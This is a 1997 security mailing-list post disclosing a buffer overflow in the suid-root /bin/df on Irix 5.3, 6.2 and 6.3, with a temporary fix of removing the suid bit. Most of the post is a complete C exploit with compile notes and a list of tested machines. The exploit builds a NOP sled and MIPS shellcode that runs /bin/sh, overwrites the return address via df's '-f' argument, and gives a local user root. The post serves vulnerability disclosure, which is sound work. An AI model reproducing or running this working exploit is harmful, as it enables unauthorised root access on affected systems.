Irix buffer overflow in /bin/df

David Hedley (hedley@CS.BRIS.AC.UK)
Sat, 24 May 1997 15:28:44 +0100

Hi there,

There appears to be a buffer overflow in /bin/df on Irix 5.3, 6.2 and 6.3.
/bin/df is installed suid root and hence root access is achievable for
local users.

The version of 'df' which comes with Irix 6.2, whilst having the buffer
overflow problem, is not vulnerable to this exploit as it is compiled as
a 64bit N32 object and it is virtually impossible to exploit buffer
overflows in such programs.

The temporary fix: chmod u-s /bin/df

This only appears to affect the '-f' flag which I doubt anyone ever
uses.

The exploit code included has been tested on the following:

R3000 Indigo (Irix 5.3)
R4400 Indy (Irix 5.3)
R5000 O2 (Irix 6.3)

Compile with either gcc or cc. Note that you should specify one of
'-mips3', '-mips4' or '-n32' to compile on an O2. The default compile
options result in a binary which exhibits weird cache coherency problems
and rarely works.

Credit is due to Yuri Volobuev for his Irix shell code on which mine is
based.

Regards,

David

--
 David Hedley (hedley@cs.bris.ac.uk)
 finger hedley@cs.bris.ac.uk for PGP key
 Computer Graphics Group | University of Bristol | UK

-------------------- cut here ----------------------------

/* /bin/df buffer overflow exploit by DCRH */

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h>

#define BUF_LENGTH 1504 #define EXTRA 700 #define OFFSET 0x200 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */

#define u_long unsigned

u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp */ 0x03e00008, /* jr $ra */ 0x00000000, /* nop */ };

u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 */ 0x2084edcc, /* sub $4,0x1234 */ 0x0491fffe, /* bgezal $4,pc-4 */ 0x03bd302a, /* sgt $6,$sp,$sp */ 0x23e4012c, /* addi $4,$31,264+36 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 */ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) */ 0xaca6fefc, /* sw $4,-260($5) */ 0x20a5fef8, /* sub $5, 264 */ 0x240203f3, /* li $v0,1011 */ 0x03ffffcc, /* syscall 0xfffff */ 0x2f62696e, /* "/bin" */ 0x2f7368ff, /* "/sh" */ };

char buf[BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

stack = get_sp();

long_p =(u_long *) buf; targ_addr = stack + OFFSET;

if (argc > 1) targ_addr += atoi(argv[1]) * 4;

while ((targ_addr & 0xff000000) == 0 || (targ_addr & 0x00ff0000) == 0 || (targ_addr & 0x0000ff00) == 0 || (targ_addr & 0x000000ff) == 0) targ_addr += 4;

for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP;

for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i];

for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = (targ_addr << 16) | (targ_addr >> 16);

*long_p = 0;

printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

execle("/bin/df", "df", &buf[3], 0, env); perror("execl failed"); }